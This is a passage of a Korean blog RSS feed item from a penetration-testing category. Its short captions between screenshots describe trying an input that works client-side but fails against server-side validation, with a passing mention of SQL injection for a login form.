&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1174&quot; data-origin-height=&quot;295&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0n1kK/btsNLqWVFnC/pIJvPPZZadi5GrPKLNpZQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0n1kK/btsNLqWVFnC/pIJvPPZZadi5GrPKLNpZQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0n1kK/btsNLqWVFnC/pIJvPPZZadi5GrPKLNpZQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0n1kK%2FbtsNLqWVFnC%2FpIJvPPZZadi5GrPKLNpZQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1174&quot; height=&quot;295&quot; data-origin-width=&quot;1174&quot; data-origin-height=&quot;295&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바꿔주고요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장 꼭 하시구 (ctrl+S)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;창 껐다가 다시 켜주시면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1059&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7Gv7n/btsNLB5aFoL/dnT0UJNTEfKkB2oMLChdnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7Gv7n/btsNLB5aFoL/dnT0UJNTEfKkB2oMLChdnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7Gv7n/btsNLB5aFoL/dnT0UJNTEfKkB2oMLChdnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7Gv7n%2FbtsNLB5aFoL%2FdnT0UJNTEfKkB2oMLChdnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1059&quot; height=&quot;558&quot; data-origin-width=&quot;1059&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘되네여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에다가&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1059&quot; data-origin-height=&quot;565&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9Arc2/btsNLBjOx0c/0nAdETMSSQxMDmYxFypOEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9Arc2/btsNLBjOx0c/0nAdETMSSQxMDmYxFypOEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9Arc2/btsNLBjOx0c/0nAdETMSSQxMDmYxFypOEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9Arc2%2FbtsNLBjOx0c%2F0nAdETMSSQxMDmYxFypOEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1059&quot; height=&quot;565&quot; data-origin-width=&quot;1059&quot; data-origin-height=&quot;565&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두구두구&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Oh0EE/btsNJvFJuaz/XpC6KXcnQ08WLtmAPc7P6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Oh0EE/btsNJvFJuaz/XpC6KXcnQ08WLtmAPc7P6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Oh0EE/btsNJvFJuaz/XpC6KXcnQ08WLtmAPc7P6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOh0EE%2FbtsNJvFJuaz%2FXpC6KXcnQ08WLtmAPc7P6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;230&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;230&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안됩니당,, 저런&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 서버에서 검증하기때무네,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(로그인 창에는 스크립트가 아니고 SQL인젝션을~)&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/1</guid>
      <comments>https://songtoy.tistory.com/1#entry1comment</comments>
      <pubDate>Sun, 4 May 2025 00:00:13 +0900</pubDate>
    </item>
  </channel>
</rss>